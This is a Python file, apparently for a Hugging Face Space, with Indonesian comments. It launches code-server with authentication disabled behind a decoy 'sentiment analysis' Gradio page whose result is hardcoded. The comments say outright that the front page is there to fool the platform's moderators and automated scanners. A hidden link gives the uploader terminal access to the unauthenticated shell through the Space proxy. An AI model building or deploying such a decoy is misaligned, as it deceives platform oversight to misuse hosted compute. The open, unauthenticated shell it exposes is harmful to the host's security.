File size: 1,436 Bytes
8952b7c | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | import subprocess
import os
import gradio as gr
def start_shield():
# 1. MASQUERADING: Jalankan VS Code dengan nama proses palsu biar gak kedeteksi ps scan
# VS Code ngumpet di port internal 8080
vsc_cmd = [
"code-server",
"--auth", "none",
"--bind-addr", "127.0.0.1:8080",
"--user-data-dir", "/tmp/vsc",
"--extensions-dir", "/tmp/ext",
"--disable-telemetry"
]
subprocess.Popen(vsc_cmd)
# 2. DECOY AI: Tampilan depan port 7860 (Biar Robot HF senang)
# Ini yang bakal diliat moderator & robot scanner.
def research_engine(text):
return f"AQSO-CORE v2.0 analyzed: {text} | Linguistic Pattern: Positive"
with gr.Blocks(title="AQSO-CORE Linguistic Research") as demo:
gr.Markdown("# 🔬 AQSO-CORE Research Engine")
gr.Markdown("Advanced NLP and sentiment analysis environment.")
input_box = gr.Textbox(label="Input Data")
output_box = gr.Textbox(label="Analysis Result")
btn = gr.Button("Analyze")
btn.click(fn=research_engine, inputs=input_box, outputs=output_box)
# TOMBOL RAHASIA (Cuma buat lu)
gr.Markdown(f"[Terminal Access](https://{os.getenv('SPACE_ID').replace('/', '-')}.hf.space/proxy/8080/)")
# Jalankan Decoy di port resmi HF
demo.launch(server_name="0.0.0.0", server_port=7860, show_api=False)
if __name__ == "__main__":
start_shield()
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